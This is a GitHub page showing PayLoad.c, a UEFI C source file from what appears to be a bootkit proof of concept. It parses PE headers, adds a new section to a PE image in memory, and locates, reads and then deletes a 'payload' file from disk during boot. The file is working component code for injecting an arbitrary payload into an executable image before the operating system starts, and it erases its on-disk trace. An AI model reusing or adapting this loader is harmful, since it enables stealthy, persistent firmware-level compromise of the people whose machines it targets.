-
Notifications
You must be signed in to change notification settings - Fork 60
/
PayLoad.c
164 lines (133 loc) · 5.62 KB
/
PayLoad.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include "PayLoad.h"
// this can also just be set at compile time if you want too, but for PoC im going
// to read the payload from disk and delete it after...
// x64-86
VOID* PayLoad = NULL;
UINT32 PayLoadSize(VOID)
{
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
if (RecordDosImageHeader->e_magic != EFI_IMAGE_DOS_SIGNATURE)
return NULL;
EFI_IMAGE_NT_HEADERS64* RecordNtHeaders = (UINT64)RecordDosImageHeader + RecordDosImageHeader->e_lfanew;
if (RecordNtHeaders->Signature != EFI_IMAGE_NT_SIGNATURE)
return NULL;
return RecordNtHeaders->OptionalHeader.SizeOfImage + 0x1000;
}
VOID* PayLoadEntry(VOID* ModuleBase)
{
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
if (RecordDosImageHeader->e_magic != EFI_IMAGE_DOS_SIGNATURE)
return NULL;
EFI_IMAGE_NT_HEADERS64* RecordNtHeaders = (UINT64)RecordDosImageHeader + RecordDosImageHeader->e_lfanew;
if (RecordNtHeaders->Signature != EFI_IMAGE_NT_SIGNATURE)
return NULL;
return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint;
}
// programmed by: hMihaiDavid
// taken from: https://github.com/hMihaiDavid/addscn/blob/master/addscn/addscn.cpp#L89
VOID* AddSection(VOID* ImageBase, CHAR8* SectionName, UINT32 VirtualSize, UINT32 Characteristics)
{
EFI_IMAGE_DOS_HEADER* dosHeader = (EFI_IMAGE_DOS_HEADER*)ImageBase;
EFI_IMAGE_NT_HEADERS64* ntHeaders = (EFI_IMAGE_NT_HEADERS64*)((UINT64)ImageBase + dosHeader->e_lfanew);
UINT16 sizeOfOptionalHeader = ntHeaders->FileHeader.SizeOfOptionalHeader;
EFI_IMAGE_FILE_HEADER* fileHeader = &(ntHeaders->FileHeader);
EFI_IMAGE_SECTION_HEADER* firstSectionHeader =
(EFI_IMAGE_SECTION_HEADER*)(((UINT64)fileHeader) +
sizeof(EFI_IMAGE_FILE_HEADER) + sizeOfOptionalHeader);
UINT32 numberOfSections = ntHeaders->FileHeader.NumberOfSections;
UINT32 sectionAlignment = ntHeaders->OptionalHeader.SectionAlignment;
UINT32 fileAlignment = ntHeaders->OptionalHeader.FileAlignment;
EFI_IMAGE_SECTION_HEADER* newSectionHeader = &firstSectionHeader[numberOfSections];
EFI_IMAGE_SECTION_HEADER* lastSectionHeader = &firstSectionHeader[numberOfSections - 1];
MemCopy(&newSectionHeader->Name, SectionName, AsciiStrLen(SectionName));
newSectionHeader->Misc.VirtualSize = VirtualSize;
newSectionHeader->VirtualAddress =
P2ALIGNUP(lastSectionHeader->VirtualAddress +
lastSectionHeader->Misc.VirtualSize, sectionAlignment);
newSectionHeader->SizeOfRawData = P2ALIGNUP(VirtualSize, fileAlignment);
newSectionHeader->Characteristics = Characteristics;
newSectionHeader->PointerToRawData =
(UINT32)(lastSectionHeader->PointerToRawData +
lastSectionHeader->SizeOfRawData);
++ntHeaders->FileHeader.NumberOfSections;
ntHeaders->OptionalHeader.SizeOfImage =
P2ALIGNUP(newSectionHeader->VirtualAddress +
newSectionHeader->Misc.VirtualSize, sectionAlignment);
return ((UINT64)ImageBase) + newSectionHeader->VirtualAddress;
}
EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr)
{
EFI_STATUS Result = EFI_SUCCESS;
UINTN HandleCount = NULL;
EFI_HANDLE* Handles = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE PayLoadFileHandle;
EFI_DEVICE_PATH* PayLoadDevicePath = NULL;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
EFI_FILE_PROTOCOL* PayLoadFile = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return Result;
}
for (UINT32 Idx = 0u; Idx < HandleCount; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return Result;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return Result;
}
if (!EFI_ERROR((Result = VolumeHandle->Open(VolumeHandle, &PayLoadFileHandle, PAYLOAD_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY))))
{
VolumeHandle->Close(VolumeHandle);
PayLoadDevicePath = FileDevicePath(Handles[Idx], PAYLOAD_PATH);
if (EFI_ERROR((Result = EfiOpenFileByDevicePath(&PayLoadDevicePath, &PayLoadFile, EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, NULL))))
{
Print(L"failed to open payload file... reason -> %r\n", Result);
return Result;
}
EFI_FILE_INFO* FileInfoPtr = NULL;
UINTN FileInfoSize = NULL;
if (EFI_ERROR((Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, NULL))))
{
if (Result == EFI_BUFFER_TOO_SMALL)
{
gBS->AllocatePool(EfiBootServicesData, FileInfoSize, &FileInfoPtr);
if (EFI_ERROR(Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, FileInfoPtr)))
{
Print(L"get backup file information failed... reason -> %r\n", Result);
return Result;
}
}
else
{
Print(L"Failed to get file information... reason -> %r\n", Result);
return Result;
}
}
VOID* PayLoadBuffer = NULL;
UINTN PayLoadSize = FileInfoPtr->FileSize;
gBS->AllocatePool(EfiBootServicesData, FileInfoPtr->FileSize, &PayLoadBuffer);
if (EFI_ERROR((Result = PayLoadFile->Read(PayLoadFile, &PayLoadSize, PayLoadBuffer))))
{
Print(L"Failed to read payload file into buffer... reason -> %r\n", Result);
return Result;
}
if (EFI_ERROR((Result = PayLoadFile->Delete(PayLoadFile))))
{
Print(L"unable to delete payload file... reason -> %r\n", Result);
return Result;
}
*PayLoadBufferPtr = PayLoadBuffer;
gBS->FreePool(FileInfoPtr);
return EFI_SUCCESS;
}
}
Print(L"unable to find payload on disk...\n");
return EFI_ABORTED;
}